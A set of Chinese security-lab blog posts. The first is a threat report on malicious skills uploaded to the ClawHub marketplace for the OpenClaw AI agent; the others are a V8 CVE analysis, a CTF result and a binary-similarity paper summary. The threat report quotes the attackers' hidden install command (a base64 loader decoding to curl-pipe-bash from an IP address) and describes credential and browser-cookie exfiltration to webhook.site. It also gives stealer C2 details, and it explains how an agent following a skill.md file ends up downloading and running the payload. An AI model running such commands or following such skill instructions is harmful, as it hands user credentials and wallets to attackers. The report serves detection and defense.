安全一步到位，马年科恩护驾！

跳转微信打开

OpenClaw的爆发式传播，攻击者通过伪造热门插件并上传至ClawHub技能平台，诱导用户安装恶意技能（Skill），形成一类高隐蔽性攻击。

• 控制台UI（Web 前端）：用于技能管理、对话控制、Agent 调度等；

• 网关接口模块（Gateway）：提供 WebSocket/HTTP 接口供前端与后端通信；

• 技能模块（Skills）：运行脚本化功能扩展，可通过远程或本地安装；

• 智能体模块（Agent）：调度子任务执行、插件调用等；

• 插件沙箱环境：运行命令、Python 脚本、NodeJS 等。 

    近期捕获的一类典型攻击方式，是攻击者通过构造并上传恶意技能（Skill）至 ClawHub 插件社区，诱导用户安装并执行。我们对平台技能库进行爬取与自动化审计后发现，攻击者往往伪装为“浏览器自动化助手、社交平台代理、财经/办公插件”等热门类别，通过克隆官方页面结构与文件命名模式，仅在安装说明或初始化脚本中植入后门逻辑，从而绕过用户与平台的人工审核。

• 左图为原始版本；右图为攻击者重新发布、嵌入后门的版本。

我们全量下载了截至2026.2.3日clawhub上面可以公开获取的3107个skill样本，命中潜在威胁skills 295 个，占比 9.49%，接近10%的比例算得上是触目惊心。统计分类如下：

1. 统一投放模板：下载木马执行

在多个在野样本中，攻击者并未直接写明远程执行命令，而是采用如下统一模板：

echo '<base64>' | base64 -D | bash

对其进行解码后，实际执行内容为：

/bin/bash -c "$(curl -fsSL http://91.92.242[.]30/<path>)"

    经归并分析，多个技能指向同一外部基础设施，仅路径参数不同，呈现明显批量同构投放特征：

• 目标路径族 A：http://91.92.242[.]30/lamq4uerkruo6ssm agent-browser-6aigix9qi2tu

• auto-updater-ah1

• deep-research-eoo5vd95

• 目标路径族 B：http://91.92.242[.]30/q0c7ew2ro8l2cfqp browser-agent-1kv

• clawbhub

• twitter-sum

• 目标路径族 C：http://91.92.242[.[30/6x8c0trkp4l9uugo base-agent

• bybit-agent

• base-agent

2. 反弹shell

除混淆投递外，部分技能在运行时代码中直接嵌入远程执行逻辑:

• 风险定性：在技能运行阶段无提示拉取外部脚本并执行，具备完整远程代码执行能力，符合典型后门行为特征。

3. 数据外传与浏览器侧信息窃取

部分技能虽未直接关联已知 C2 或持久化逻辑，但具备明确的敏感数据外发能力:

• 本地凭据外传, 行为链路： 读取本地文件：~/.clawdbot/.env

• 外发端点：https://webhook.site/358866c4-81c6-4c30-9c8c-358db4d04412

• 通过 fetch() 以 POST 方式发送内容

  

内嵌脚本外传浏览器数据, 行为链路： 读取浏览器侧数据：localStorage、sessionStorage、document.cookie、document.body.innerText

• 外发端点：https://webhook.site/ace58e7f-0b19-4703-b754-4688a07a4f95

4. 核心木马溯源

如果用户安装了携带后门的Browser Agent，OpenClaw会根据skill.md的描述，base64解码后的url下载执行可执行文件，支持Windows系统及Macos系统：

样本基础信息

样本运行后动态解密配置中的C2：

解密算法伪代码：

def decrypt_config(data, key):
    out = bytearray(data)
for i in range(len(out)):
        out[i] ^= (key >>((i & 7) * 8)) & 0xFF
        key = ror64(key,1)
return bytes(out)

解密后而得到的C2配置如下：

{
    "meta":{
        "key":"0xc35547640e63f941",
        "length":316
},
    "config":{
        "field_0":47,
        "field_1":10,
        "campaign_id":"jhzhhfomng",
        "flag_0":1,
        "c2":"https://socifiapp.com",
        "extensions":[
            "pdf",
            "txt",
            "rtf"
    ],
    "prompt_title_1":"System Preferences",
    "prompt_body_1":"You need to configure system settings before running this application.\\n\\nPlease enter your password.",
    "prompt_title_2":"System Preferences",
    "prompt_body_2":"Your Mac does not support this application. Try reinstalling or downloading the version for your system.",
    "trailing_bytes_hex":"01000000010000"
}
}

该恶意程序具备如下功能：

• 浏览器 Cookie、密码提取

• 加密钱包窃取（MetaMask、TronLink 等）

• 指定文件窃取

经过深入调查溯源，威胁特征与知名信息窃取木马 Nova Stealer 高度相似，疑似来自一个名为 Nova Sentinel 的攻击组织，其以 MaaS（Malware-as-a-Service）形式出售该后门模块。C2 地址指向socifiapp[.]com。以下是完整的攻击链路图示：

在积极拥抱 AI 工具提升效率的同时，我们也应保持冷静审慎。诸如“openclaw”这类工具近期来势汹汹，但其背后潜藏的风险不容忽视，经过深入调查，公开市场接近10%比例的恶意插件比例可谓是防不胜防。 尤其当安装环境涉及敏感权限时，更可能为有心之人打开方便之门。  在日常工作中，请务必提高警惕，切勿盲目在办公环境内使用来源不明、未经验证的安全工具或脚本。

为了持续守护企业及个人的数字安全，腾讯安全科恩实验室威胁情报团队将携手腾讯电脑管家安全团队与腾讯云安全团队，持续追踪并深入分析此类攻击手法与潜在风险。我们将通过高效协同与技术攻坚，共同推动终端防护能力的迭代升级，致力于为企业用户打造更主动、更精准、更可靠的安全防线。

IOC

• 91.92.242[.]30

• 54.91.154[.]110:13338

• socifiapp[.]com

• https://github[.]com/denboss99

部分携带后门的skills类别

阅读原文

跳转微信打开

2026腾讯犀牛鸟精英人才计划开放申请中，2026年2月26日申请截止。

阅读原文

跳转微信打开

11月23日，在刚刚落幕的第九届“强网杯”全国网络安全挑战赛线下总决赛中，腾讯eee战队以总分901.4位列榜首，强势夺得线下赛冠军。这也是腾讯eee战队在九届“强网杯”赛事中第五次问鼎。

11月23日，在刚刚落幕的第九届“强网杯”全国网络安全挑战赛线下总决赛中，腾讯eee战队以总分901.4位列榜首，强势夺得线下赛冠军。这也是腾讯eee战队在九届“强网杯”赛事中第五次问鼎，继续巩固其在国内顶级攻防赛事领域的领先地位。

“强网杯”是国内网络安全领域最具影响力的赛事之一，由中央网信办、河南省人民政府指导，河南省委网信办、河南省教育厅、郑州市人民政府、信息工程大学、郑州大学、中国网络空间安全协会等单位联合主办。赛事旨在通过高水平竞赛，推动网络安全技术创新与落地应用，助力国家网络安全能力提升。

本届赛事共有3018支战队、13190名选手报名参赛，覆盖“双一流”高校、网络安全与互联网企业以及国家关键信息基础设施单位等多个领域，赛事全程累计吸引近三百万观众在线关注。在10月下旬举办的线上赛阶段，腾讯eee队伍凭借扎实的实践能力与突出的创新思维成功晋级线下总决赛。

线下赛于11月22日至23日举行，共有32支战队参赛，赛程为期两天。本届首次采用Real World（RW）与Attack With Defence Ultra（AWDU）混合赛制，更加贴近真实攻防场景。

RW环节围绕虚拟化软件、主流浏览器、网络基础服务、IoT设备、CMS组件等真实软硬件环境设置任务，要求选手完成漏洞分析、利用链构建与结果验证。AWDU环节强调攻防并重，参赛队既要保障自身服务稳定运行，又需在有限时间内组织高效攻击与防护。赛事采用回合制零和计分机制，总成绩由RW与AWDU得分归一化后生成，确保评价体系的均衡性与结果的公平公正。经过两天激烈角逐，腾讯eee战队凭借接近200分的绝对领先优势勇夺冠军。

阅读原文

跳转微信打开

CVE-2025-9132漏洞分析，Project Zero的BigSleep发现的第一个V8漏洞

diff --git a/src/parsing/parser.cc b/src/parsing/parser.cc
index 26249aff4bb..7b5b2458b77 100644
--- a/src/parsing/parser.cc
+++ b/src/parsing/parser.cc
@@ -2408,7 +2408,10 @@ Statement* Parser::DesugarLexicalBindingsInForStatement(
     //    make statement: let/const x = temp_x.
     for (int i = 0; i < for_info.bound_names.length(); i++) {
       VariableProxy* proxy = DeclareBoundVariable(
-          for_info.bound_names[i], for_info.parsing_result.descriptor.mode,
+          for_info.bound_names[i],
+          for_info.parsing_result.descriptor.mode == VariableMode::kAwaitUsing
+              ? VariableMode::kConst
+              : for_info.parsing_result.descriptor.mode,
           kNoSourcePosition);
       inner_vars.Add(proxy->var());
       VariableProxy* temp_proxy = factory()->NewVariableProxy(temps.at(i));

// Copyright 2025 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
var v = [];
(async () => {
  for (let i = 0; i < 6; ++i) {
    v.push(i);
    await 0;
  }
})();
async function TestCStyleForCountTicks() {
  for (await using x = {
         value: 42,
         [Symbol.asyncDispose]() {
           v.push(`asyncDispose`);
         }  // One tick is expected after calling asyncDispose to allow it to be
            // asynchronous. It will be called after exiting the for-loop.
       };
       x.value < 44; x.value++) {
    // These pushes are expected to be synchronous.
    v.push(x.value);
  }
  v.push(`afterForLoop`);
}
async function RunTest() {
  await TestCStyleForCountTicks();
  assertArrayEquals([0, 42, 43, `asyncDispose`, 1, `afterForLoop`, 2], v);
}
RunTest();

void BytecodeArrayWriter::BindJumpTableEntry(BytecodeJumpTable* jump_table,
                                             int case_value) {
  DCHECK(!jump_table->is_bound(case_value));         // [1] crash here
  size_t current_offset = bytecodes()->size();
  size_t relative_jump = current_offset - jump_table->switch_bytecode_offset();
  constant_array_builder()->SetJumpTableSmi(
      jump_table->ConstantPoolEntryFor(case_value),
      Smi::FromInt(static_cast<int>(relative_jump)));
  jump_table->mark_bound(case_value);
  StartBasicBlock();
}

async function foo() {
  {
    await using x = {
      [Symbol.asyncDispose]() {
        console.log("asyncDispose");
      }
    };
    // await x[Symbol.asyncDispose]();
  }
}

template <typename Impl>
void ParserBase<Impl>::ParseVariableDeclarations(
    VariableDeclarationContext var_context,
    DeclarationParsingResult* parsing_result,
    ZonePtrList<const AstRawString>* names) {
  // VariableDeclarations ::
  //   ('var' | 'const' | 'let' | 'using' | 'await using') (Identifier ('='
  //   AssignmentExpression)?)+[',']
  DCHECK_NOT_NULL(parsing_result);
  parsing_result->descriptor.kind = NORMAL_VARIABLE;
  parsing_result->descriptor.declaration_pos = peek_position();
  parsing_result->descriptor.initialization_pos = peek_position();
  Scope* target_scope = scope();
  switch (peek()) {
      // ...
    case Token::kAwait:
      // CoverAwaitExpressionAndAwaitUsingDeclarationHead[?Yield] [no
      // LineTerminator here] BindingList[?In, ?Yield, +Await, ~Pattern];
      Consume(Token::kAwait);
      DCHECK(v8_flags.js_explicit_resource_management);
      DCHECK_NE(var_context, kStatement);
      DCHECK(is_using_allowed());
      DCHECK(is_await_allowed());
      Consume(Token::kUsing);
      DCHECK(!scanner()->HasLineTerminatorBeforeNext());
      DCHECK(peek() != Token::kLeftBracket && peek() != Token::kLeftBrace);
      impl()->CountUsage(v8::Isolate::kExplicitResourceManagement);
      parsing_result->descriptor.mode = VariableMode::kAwaitUsing;
      if (!target_scope->has_await_using_declaration()) {
        function_state_->AddSuspend();                          // [1] AddSuspend()
      }
      break;
    default:
      UNREACHABLE();  // by current callers
      break;
  }

void BytecodeGenerator::BuildGeneratorPrologue() {
  DCHECK_GT(info()->literal()->suspend_count(), 0);
  generator_jump_table_ =
      builder()->AllocateJumpTable(info()->literal()->suspend_count(), 0);   // [1] AllocateJumpTable
  // If the generator is not undefined, this is a resume, so perform state
  // dispatch.
  builder()->SwitchOnGeneratorState(generator_object(), generator_jump_table_);
  // Otherwise, fall-through to the ordinary function prologue, after which we
  // will run into the generator object creation and other extra code inserted
  // by the parser.
}

// Suspends the generator to resume at the next suspend_id, with output stored
// in the accumulator. When the generator is resumed, the sent value is loaded
// in the accumulator.
void BytecodeGenerator::BuildSuspendPoint(int position) {
  // Because we eliminate jump targets in dead code, we also eliminate resumes
  // when the suspend is not emitted because otherwise the below call to Bind
  // would start a new basic block and the code would be considered alive.
  if (builder()->RemainderOfBlockIsDead()) {
    return;
  }
  const int suspend_id = suspend_count_++;                                     // [1] suspend_count_++
  RegisterList registers = register_allocator()->AllLiveRegisters();
  // Save context, registers, and state. This bytecode then returns the value
  // in the accumulator.
  builder()->SetExpressionPosition(position);
  builder()->SuspendGenerator(generator_object(), registers, suspend_id);     // [2] suspend_id
  // Upon resume, we continue here.
  builder()->Bind(generator_jump_table_, suspend_id);
  // Clobbers all registers and sets the accumulator to the
  // [[input_or_debug_pos]] slot of the generator object.
  builder()->ResumeGenerator(generator_object(), registers);
}

// ES6 13.7.4.8 specifies that on each loop iteration the let variables are
  // copied into a new environment.  Moreover, the "next" statement must be
  // evaluated not in the environment of the just completed iteration but in
  // that of the upcoming one.  We achieve this with the following desugaring.
  // Extra care is needed to preserve the completion value of the original loop.
  //
  // We are given a for statement of the form
  //
  //  labels: for (let/const x = i; cond; next) body
  //
  // and rewrite it as follows.  Here we write {{ ... }} for init-blocks, ie.,
  // blocks whose ignore_completion_value_ flag is set.
  //
  //  {
  //    let/const x = i;                            [1]
  //    temp_x = x;
  //    first = 1;
  //    undefined;
  //    outer: for (;;) {
  //      let/const x = temp_x;                     [2]
  //      {{ if (first == 1) {
  //           first = 0;
  //         } else {
  //           next;
  //         }
  //         flag = 1;
  //         if (!cond) break;
  //      }}
  //      labels: for (; flag == 1; flag = 0, temp_x = x) {
  //        body
  //      }
  //      {{ if (flag == 1)  // Body used break.
  //           break;
  //      }}
  //    }
  //  }

阅读原文

跳转微信打开

《基于函数语义的二进制文件安全分析》科恩K(EEN)Hash@ISSTA2025论文解读

程序级别BCSA通过分析二进制中的特征（例如，函数和函数调用图），来计算二进制的相似性以及差异性。利用该技术，能够辅助各类下游安全场景任务。例如，其中一种重要的任务是程序克隆检索。BCSA技术将用户输入的二进制文件转换为对应的表示形式，随后对比库中存储的海量相应二进制表示，最终根据计算所得的相似度结果检索返回最相似的K个二进制样本以用于对输入二进制做进一步的分析。

程序级别BCSA的关键是如何为二进制文件生成一种表示，既能够准确评估文件间的相似度，又能够快速完成相似度计算以支持大规模场景下的应用。遗憾的是，现有的方案均无法兼顾这两个性质。

目前，现有的方法主要能够分为两类：（1）函数级别BCSA，以及（2）基于简单特征的程序级别BCSA。（1）函数级别BCSA方法为每个二进制文件中的每个函数生成一个嵌入向量表示，并将这些向量与另一个二进制文件的向量进行迭代比较，以确定两个二进制文件之间相似函数匹配比例。这种匹配方法具有不可扩展的𝑂(nm^3)时间复杂度（n是二进制文件之间的比较次数，m是每个二进制文件中的函数数量），即使采用更快的启发式策略，也无法应用于大规模BCSA场景。（2）基于简单特征的程序级别BCSA方法使用简单的程序特征（例如，函数调用图、基本块数量、操作码n-gram等）来表示二进制的行为。这些方法能够保证快速的相似度计算，但是缺乏对二进制行为语义的考虑，使得无法准确评估二进制间的相似度，尤其是面对跨编译器优化等因素，严重影响大规模场景下的实际使用性能。

因此，为了能够同时兼顾BCSA的性能与效率，我们提出K(EEN)Hash二进制文件哈希算法。通过使用大语言模型（LLM），将二进制函数的语义进行嵌入，并利用K-Means聚类以及特征哈希（Feature Hashing） 技术，将二进制转换成紧凑且定长的程序嵌入向量表示，从而支持准确且高效的大规模程序级BCSA，性能与速度均优于此前的最新技术。

如图中所示，KHash的工作流程包括四个阶段：函数提取，函数嵌入向量生成，程序嵌入向量生成，以及相似性计算。

具体而言，为了将给定的二进制文件哈希为用于相似性分析的嵌入向量，KHash通过Ghidra提取二进制中的类C的伪代码函数。然后，KHash利用大语言模型生成这些伪代码函数的嵌入向量。接下来，在获得伪代码函数嵌入向量后，KHash利用基于函数匹配的结构特征，以及函数内在语义特征，分别将伪代码函数嵌入向量转化为紧凑且定长的结构和语义程序嵌入向量。最终，KHash针对生成的结构和语义嵌入分别采用相应的相似性指标进行计算，比较给定二进制文件与其他程序嵌入向量的相似性，以支持多种大规模程序级BCSA任务。

2.1.特征提取

第一阶段，KHash提取项目的源代码函数以及二进制的伪代码函数。

源代码侧：从开源的C/C++项目中提取源代码函数。我们通过tree-sitter内置的解析器构建文件的AST并提取所有的C/C++源代码函数并去重。这些源代码函数在后续被用于两个用途：（1）作为伪代码函数的配对来训练函数嵌入向量模型；（2）作为程序嵌入向量生成的训练集。

二进制侧：我们利用Ghidra来反编译二进制文件，以生成二进制代码的类C伪代码表示作为二进制函数，用于后续分析。另外在训练过程中，我们使用DWARF调试信息将伪代码函数与对应的源代码函数进行配对，输入后续的函数嵌入向量生成阶段进行训练。

2.2.函数嵌入向量生成

2.3.程序嵌入向量生成

函数是为执行特定任务而设计的自包含代码模块，它们的组合构成了程序的功能和行为。KHash的核心在于集成二进制中的函数，生成一个紧凑且固定长度的嵌入向量，用以表示该二进制，以支持大规模程序级BCSA。因此，我们分别从两个角度进行研究：程序结构（即二进制之间的函数匹配）和 程序语义（即在比较时放大二进制之间独特特征的语义）。我们将第一种方法称为K(EEN)Hash-stru，第二种称为K(EEN)Hash-sem。此外，我们强调这两种方法都应以无监督的方式进行，因为泛化构建大规模且多样化的二进制标注训练数据集的成本极高。

KHash-stru：KHash-stru的核心思想是通过伪代码函数进行函数匹配时，将该问题视为函数分类问题，使用函数嵌入向量模型统一源代码函数与伪代码函数在同一向量空间，利用大规模源代码函数构建训练集，从而通过1-NN方法高效实现伪代码函数匹配。具体流程是：首先从大量开源C/C++项目中提取不同的源函数，并利用函数嵌入向量模型为每个源代码函数生成向量，然后采用K-Means无监督聚类算法对这些嵌入向量进行聚类。每个聚类中心就代表一个函数类别。对待分析二进制中的伪代码函数，分别搜索到最相似的类别中心并记录，最终用所有被命中的类别标签集合，以位向量的形式表达该二进制的程序特征。另外，由于聚类数n（例如，2^22）往往很大，直接使用位向量会导致空间和计算资源消耗高，因此引入特征哈希方法将高维位向量哈希压缩为低维位向量，同时尽量保留原有的相似度分布，使后续比对依然高效准确。位向量长度m的选择在效率和准确率之间需要进行权衡，实际应用中一般选较大值如2^16，兼顾空间与处理速度。

KHash-sem：KHash-stru在函数匹配时仅关注程序间结构特征，忽略了函数语义差异，将所有函数视为等同重要，这使得面对大规模代码复用或不同编译环境下结构高度相似的二进制时，区分能力受限。为解决这一问题，KHash-sem引入基于函数语义重要性的加权策略生成程序语义表示。具体做法是借鉴TF-IDF和SIF等思想，通过赋予伪代码函数不同的权重来突出那些仅存在于同类二进制、能区分归属的“特征函数”语义，从而提升相似二进制的区分能力。权重主要依据函数的代码行数和字符串数量来综合衡量，函数越复杂、涉及字符串越多，其重要性越高。最终，每个伪代码函数的嵌入向量先归一化再加权求和，得到整个二进制的程序语义嵌入，能够有效强化同类二进制文件间的相似性、突出非同类间的特征差异。

2.4.相似性计算

KHash对二进制文件的相似性评价采用以下度量方式：

KHash-stru：生成的程序嵌入向量是一个位向量，表示基于函数分类的匹配结果。比较两个二进制时，采用杰卡德相似度来度量它们位向量间的相似性。这种度量方法能有效反映两个集合交并比的比例特征，适合描述结构特征匹配。

KHash-sem：生成的程序嵌入向量是浮点向量，用于表达整体语义特征。比较时，采用余弦相似度，与函数级别的嵌入向量一致，可量化两个向量间的角度关系，从而体现语义相似性。

我们从以下五个方面对KHash的性能进行了全面评估：函数匹配有效性与效率、程序克隆检索有效性、程序克隆检索对抗代码混淆的鲁棒性、程序克隆检索面对超大规模复杂数据分布的鲁棒性、以及恶意软件检测准确度。

3.1.函数匹配有效性与效率

首先，我们将KHash与最新函数匹配方案SigmaDiff、BinDiffMatch、以及Diaphora进行比较。SigmaDiff和BinDiffMatch通过深度/机器学习生成的函数嵌入向量和基于函数调用图的启发式策略来精确找到二进制程序间最相似的函数配对。Diaphora则使用函数哈希值和调用关系完成函数匹配。我们使用2,098个跨各种版本和编译选项的GNU二进制文件作为测试集。

实验结果显示，随着K-Means聚类数量的增大，KHash的函数匹配性能持续提升。以聚类规模 n=2^22为例，Precision、Recall、F1-Score 分别达到 0.7573、0.7730 和 0.7651，明显优于 Diaphora。虽然K-Means的整体表现不如SigmaDiff和BinDiffMatch，但其 F1-Score 已达到SigmaDiff的93%和BinDiffMatch的83%（且是唯一支持大规模场景的方法（见下文））。这一现象的原因归结为K-Means无法区分同一类别内函数的相似性，也未利用二进制中的调用图信息，导致Recall偏低；同时，采用分类方式带来的类内多函数匹配（笛卡尔积现象）使假阳性率升高，从而拉低Precision。

另外，KHash在函数匹配速度上远超SigmaDiff和BinDiffMatch（Diaphora效率远低于SigmaDiff故不再做展示）。在函数与程序向量离线生成条件下，使用单核，KHash函数匹配平均速度分别比SigmaDiff和BinDiffMatch快1,254倍和215倍。在5.3亿级别相似度比较场景下，使用48核并行处理，SigmaDiff和BinDiffMatch分别需要323天和56天才能完成，而KHash-stru（基于K-Means(n=2^22)）仅需约396秒，展现出极强的效率和实用性。与之相比，SigmaDiff、BinDiffMatch和Diaphora均无法支持此类大规模分析任务。

3.2.程序克隆检索有效性

接着，我们通过使用程序克隆检索任务来评估KHash的相似度计算有效性。我们使用SSDEEP、TLSH、Vhash以及PSSO作为对比方法（下同）。SSDEEP和TLSH是两种常用于二进制相似性分析的模糊哈希算法，能够对整个文件进行快速比对。Vhash是业界认可、由VirusTotal推出的BCSA方法，本质上是一种结构特征哈希算法，被广泛用于相似文件查找和威胁情报。PSSO则基于谱分析，利用函数调用图的谱分布及控制流图中的边计数来描述和表征二进制程序。我们分别使用四个数据集来进行全面评估：

IoT：包含37,657个IoT恶意样本二进制文件。

BinaryCorp（BC）：来自AOR和AUR的45,593 个不同的跨编译选项的C/C++良性二进制文件。

BinKit（BKN）：涵盖51个GNU软件包，共67,680个跨架构与编译选项的良性二进制文件。

MLWMC（MC）：包含49,820个真实世界的PE 32恶意软件样本。

这些测试集覆盖了物联网恶意样本、常见 Linux 软件、主流良性二进制，以及 Windows 平台的大量恶意软件，构成了全面的评测样本库。

实验结果表明，KHash（包括KHash-stru和KHash-sem）在四组数据集上的程序克隆检索性能表现显著优于所有其他方法。平均来看，KHash在mAP@100和mP@100上比对比方法（如 PSSO）分别提升至少12.69%和8.66%。在BinaryCorp等大量代码复用的良性数据集上，优势更加明显，例如BinaryCorp上PSSO的mAP@100仅为0.3212，而KHash-stru达到0.7247。在 IoT和真实恶意软件数据集上，KHash依然领先。这是因为这些传统方法仅提取简单结构特征，不包含语义信息，导致不同编译环境或样本变种间的相似性判断性能大幅下降。

另外，在海量代码复用场景上（即，BinaryCorp和BinKit），KHash-sem相比于KHash-stru性能更出色，说明强化语义特征，有助于在大量代码复用的场景下更有效地区分二进制文件。

3.3.程序克隆检索对抗代码混淆的鲁棒性

其次，我们评估KHash对抗代码混淆的鲁棒性。使用的测试集为BinKit经过代码混淆后的版本。

实验结果表明，KHash 在代码混淆场景下较现有最优方法展现出更强的稳健性，mAP@100与mP@100指标平均提升至少23.66%至42.21%。此外，KHash-stru的性能通常优于KHash-sem，原因在于结构化的函数分类能够有效缓解混淆带来的相似性变化，对特征扰动更不敏感，因此在面对不同混淆策略时表现更为稳定。

3.4.程序克隆检索面对超大规模复杂数据分布的鲁棒性

然后，我们评估KHash面对超大规模复杂数据分布时的鲁棒性。再次实验中，测试集由之前所有使用到的数据集合并而成。

实验结果表明，两种KHash方法即使在大规模复杂分布的数据集上也能保持稳定的性能，至少比现有最先进方法高出23.16%mAP@100。相比之下，其他四种方法在多个检索场景中总是出现明显或轻微的性能下降（例如在IoT上显著），这表明它们在大规模场景下对二进制分布和多样性的敏感性较强，而KHash则展现出显著更强的鲁棒性和泛化能力。

3.5.恶意软件检测准确度

最后，我们比较了KHash与其它BCSA方法在恶意软件检测方面的性能。我们使用此前使用的IoT数据以及BinKit数据作为这里的测试集。

实验结果表明，两种KHash方法在测试集上的分类错误数均为零。而其他所有方法都存在分类错误，哪怕是在广泛认可的BCSA方法（即，VirusTotal的Vhash）中也会出错，主要原因在于它们未能有效捕捉到语义信息。

程序级别BCSA能够快速分析和比较完整的二进制文件间的相似性。但现有的方法无法同时兼具相似度计算效率以及对二进制语义信息的捕获，导致难以被应用到大规模场景或表现出较高的错误率。腾讯云安全科恩实验室自研二进制分析工具K(EEN)Hash，利用函数语义嵌入将二进制文件转换成一种紧凑的向量表示形式，支持快速并准确计算二进制文件之间的相似度，可服务于威胁情报、开发安全等应用场景。

1. Lian Gao, Yu Qu, Sheng Yu, Yue Duan, and Heng Yin. 2024. SigmaDiff: Semantics-aware deep graph matching forpseudocode diffing. In Network and distributed system security symposium.

2. BinaryAI. 2024. BinaryAI BindiffMatch algorithm. https://github.com/binaryai/bindiffmatch.

3. Tristan Benoit, Jean-Yves Marion, and Sébastien Bardin. 2023. Scalable program clone search through spectral analysis.In Proceedings of the 31st ACM Joint European Software Engineering Conference and Symposium on the Foundations ofSoftware Engineering. 808–820.

4. Alec Radford, Jong Wook Kim, Chris Hallacy, Aditya Ramesh, Gabriel Goh, Sandhini Agarwal, Girish Sastry, AmandaAskell, Pamela Mishkin, Jack Clark, et al . 2021. Learning transferable visual models from natural language supervision.In International conference on machine learning. PMLR, 8748–8763.

5. 2025. TLSH is a fuzzy matching program and library. TLSH - A Locality Sensitive Hash

6. VirusTotal. 2024. VirusTotal - free online virus, malware and URL scanner.VirusTotal

7. Ling Jiang, Junwen An, Huihui Huang, Qiyi Tang, Sen Nie, Shi Wu, and Yuqun Zhang. 2024. BinaryAI: Binary SoftwareComposition Analysis via Intelligent Binary Source Code Matching. In Proceedings of the IEEE/ACM 46th InternationalConference on Software Engineering. 1–13.

8. Jiyong Jang, David Brumley, and Shobha Venkataraman. 2011. Bitshred: feature hashing malware for scalable triageand semantic analysis. In Proceedings of the 18th ACM conference on Computer and communications security. 309–320.

9. Jesse Kornblum. 2006. Identifying almost identical files using context triggered piecewise hashing. Digital investigation3 (2006), 91–97.

阅读原文

跳转微信打开

2025年CCF-腾讯犀牛鸟基金科恩开放“基于溯源图分析的威胁狩猎技术研究 ”课题

阅读原文

跳转微信打开

科恩实验室&上科大合作论文入选ISSTA 2025，KHash函数语义哈希技术助力二进制文件安全分析

背景●摘要

近期，腾讯云安全科恩实验室与上海科技大学信息科学与技术学院合作研究成果《KEENHash: Hashing Programs into Function-aware Embeddings for Large-scale Binary Code Similarity Analysis》成功入选第34届软件工程领域顶级学术会议 ISSTA 。本论文对科恩自研二进制相似性哈希 K(EEN)Hash （https://www.binaryai.cn）底层算法进行剖析，介绍 KHash 如何利用函数语义嵌入将二进制文件转换成一种紧凑的向量表示形式，快速计算二进制文件之间的相似度，可服务于威胁情报、软件安全等二进制分析场景。论文全文及解读将于会议期间发布，点击文末“阅读原文”直达论文官网链接。

关于ISSTA

ISSTA，全称 International Symposium on Software Testing and Analysis，是软件测试领域国际最顶级学术会议。ISSTA 2025将于2025年6月25日至28日在挪威特隆赫姆举行。

软件成分分析（SCA）是降低第三方库（TPL）引入风险的重要手段，常规利用基本语法特征的SCA 技术在大规模TPL数据集误报率较高，BinaryAI基于底座的二进制/源代码匹配模型实现相似代码的高召回率，使得SCA效果达行业高阶水准。欢迎前往BinaryAI体验。

二进制代码相似性分析（BCSA: Binary Code Similarity Analysis）是网络安全等多个领域的重要研究方向。具体而言，基于函数级的二进制比对工具被广泛应用于BCSA中。这些工具通过逐一匹配相似函数来计算两个二进制程序之间的相似度。然而，这类方法的时间复杂度高，难以扩展至大规模场景（如一对多、或多对多的检索任务）。

为了实现准确且高效的程序级BCSA，我们提出了K(EEN)Hash，一种新颖的哈希方法。该方法使用大语言模型生成的函数嵌入，将二进制程序哈希为程序级表示。通过结合K-Means聚类与特征哈希（Feature Hahsing） 技术，KEENHash将二进制代码压缩至一个紧凑且固定长度的向量，从而支持准确且高效的大规模程序级二进制相似性分析，性能优于此前的最新技术。

实验结果表明，KEENHash的函数匹配速度至少比最新工具快215倍，同时保持了函数匹配的有效性。此外，在一个包含53亿次程序级相似性分析的大规模场景中，KEENHash仅需395.83秒，而其它工具至少需要56天。我们还在包含202,305个二进制程序的海量数据集上评估了KEENHash在程序克隆检索任务中的性能。与四种最新技术方法相比，KEENHash的性能表现均至少提高了23.16%。另外，KEENHash在大规模BCSA恶意软件检测场景中同样展现出显著优势。

腾讯安全科恩实验室与上海科技大学信息科学与技术学院展开科研合作，上海科技大学信息科学与技术学院硕士 刘志杰同学 作为科研实习生，在导师 唐宇田教授、张良峰教授 和 腾讯安全科恩实验室 的共同指导下，完成该论文。

目前，KHash 已在 BinaryAI 平台实现大规模应用，凭借高效准确的相似度计算能力，极大提升了平台对海量未知样本的快速发现和研判能力。

01

“相似文件“功能

以下示例展示 KHash 在跨架构以及编译环境下对程序语义理解上的优势，能够准确检索相似文件：

示例 a2ps-4.14_gcc-7.3.0_x86_32_O3_a2ps.elf（a2ps 文件）使用gcc-7.3.0编译器，在x86-32位架构上，以O3优化级别进行编译。

a2ps-4.14_gcc-7.3.0_x86_32_O3_a2ps.elfhttps://www.binaryai.cn/analysis/2cd45c4025aa80c0ec282a7dbe17c586aecf8fe54e06ae0cdc7e243487de5a8d/similarity

KHash 检索返回相似度最高的二进制 f8a442d8（相似度：83.89%，Top-1/100），同样是 a2ps 文件但是使用clang-5.0编译器，在MIPS-64位架构上，以优化级别O1编译。KHash 在跨架构、编译优化等情况下仍旧支持准确查找到相似文件。

02

“恶意软件家族基因分析“功能

KHash 也适用于威胁情报中的恶意样本分析场景。KHash 在威胁情报中实现恶意样本高效准确聚类，显著提升防护能力。通过计算上传文件与已知恶意软件的相似度，判断是否为恶意及其家族变体：

示例 xmrig.stripped 经过恶意软件家族基因分析，识别出与 CoinMiner.b 家族的相似匹配度达到80.37%，准确判断其为挖矿恶意软件。

xmrig.strippedhttps://www.binaryai.cn/analysis/33ead107e7a01e9eb3432baebe14172ae6fe94ce62f41afad9f884e7c9b5dfe7/malware_genetic

03

SDK批量获取文件KHash

用户可以通过SDK批量获得二进制文件的KHash，可在自定义的二进制文件范围内通过KHash计算二进制文件间相似度。

API Key 可自行创建：BinaryAI更新布告｜用户管理、文件管理体系全新升级

SDK地址：https://github.com/binaryai/sdk/releases/tag/v0.8.2

阅读原文

跳转微信打开

关于BinaryAI

BinaryAI（https://www.binaryai.cn）

腾讯云安全科恩实验室打造的全球领先二进制安全智能分析平台，深度融合攻防实战经验、海量安全数据与前沿算法能力，开创性地提供精准的函数级语义匹配技术，能力覆盖威胁情报样本研判、供应链安全、未知威胁挖掘等核心场景。

• 软件成分分析
• 交互式分析
• 自定义比对
• 文件哈希 KHash
• 恶意文件检测
• 恶意软件家族基因分析
• AI智能总结与搜索

挖矿威胁防御

相关介绍请查看：腾讯主机安全（云镜）兵器库：斩杀挖矿木马的利剑-BinaryAI引擎

后门检测

